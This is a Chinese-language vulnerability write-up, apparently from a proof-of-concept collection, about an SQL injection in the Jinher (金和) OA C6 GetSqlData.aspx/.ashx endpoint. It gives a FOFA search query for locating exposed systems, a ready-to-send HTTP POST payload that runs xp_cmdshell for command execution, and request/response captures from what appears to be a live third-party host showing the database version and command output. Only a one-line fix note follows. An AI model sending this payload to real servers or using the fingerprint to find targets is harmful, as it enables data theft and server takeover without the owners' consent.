

J1-18金和-OA-SQL

漏洞描述：

金和 [OA](#) C6/Control/GetSqlData.aspx/.ashx接口处存在SQL注入漏洞，攻击者除了可以利用 SQL 注入漏洞获取数据库中的信息（例如，管理员后台密码、站点的用户个人信息）之外，甚至在高权限的情况可向服务器中写入木马，进一步获取服务器系统权限。

影响版本：

- 金和 OA

网络测绘：

fofa语法：

title="金和协同管理平台" || body="js/PasswordCommon.js" || body="js/PasswordNew.js" || body="Jinher Network" || (body="c6/Jhsofi.Web.login" && body="CloseWindowNoAsk") || header="Path=/jc6" || (body="JC6金和协同管理平台" && body="src="/jc6/platform") || body="window.location = '\\JHSoFi.MobileApp/Default.html';" || banner="Path=/jc6"

漏洞复现：

payload:

```
POST /C6/Control/GetSqlData.aspx/.ashx HTTP/1.1
Host: your-ip
Accept-Encoding: gzip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Type: application/x-www-form-urlencoded
Content-Length: 16

exec master..xp_cmdshell 'whoami'
```

效果图:

Request

< > 数据包扫描 热加载 构造请求

1 POST /C6/Control/GetSqlData.aspx/.ashx HTTP/1.1

2 Host : oa.fapai.com

3 Accept-Encoding: gzip

4 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15

5 Content-Type: application/x-www-form-urlencoded

6 Content-Length auto : 16

7

8 select @@version

Responses 261bytes / 67ms

1 HTTP/1.1 200 OK

2 Cache-Control: private

3 Content-Type: text/html; charset=utf-8

4 Server: Microsoft-IIS/10.0

5 X-AspNet-Version: 4.0.30319

6 Set-Cookie: ASP.NET_SessionId=3st1uzs22ubv

7 X-Powered-By: ASP.NET

8 Date: Fri, 15 Dec 2023 14:24:22 GMT

9 Content-Length: 261

10

11 <record><item ColumnName='Column1'><![CDATA[1600.1 (X64) Apr 2 2010 15:48:46 Copyright (c) Microsoft Corporation Enterprise Edition (64-bit) on Windows]]></item></record>

RCE

Request

< > 数据包扫描 热加载 构造请求

1 POST /C6/Control/GetSqlData.aspx/.ashx HTTP/1.1

2 Host : oa.fapai.com

3 Accept-Encoding: gzip

4 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15

5 Content-Type: application/x-www-form-urlencoded

6 Content-Length auto : 35

7

8 exec master..xp_cmdshell 'whoami'

Responses 143bytes / 95ms

1 HTTP/1.1 200 OK

2 Cache-Control: private

3 Content-Type: text/html; charset=utf-8

4 Server: Microsoft-IIS/10.0

5 X-AspNet-Version: 4.0.30319

6 Set-Cookie: ASP.NET_SessionId=vwn3ewpwe1zm

7 X-Powered-By: ASP.NET

8 Date: Fri, 15 Dec 2023 14:25:03 GMT

9 Content-Length: 143

10

11 <record><item ColumnName='output'><![CDATA[record><record><item ColumnName='output'><![CDATA[

修复建议：

修复金和OA C6的 /Control/GetSqlData.aspx/.ashx接口，实施参数化查询和严格的输入验证，以防止SQL注入攻击。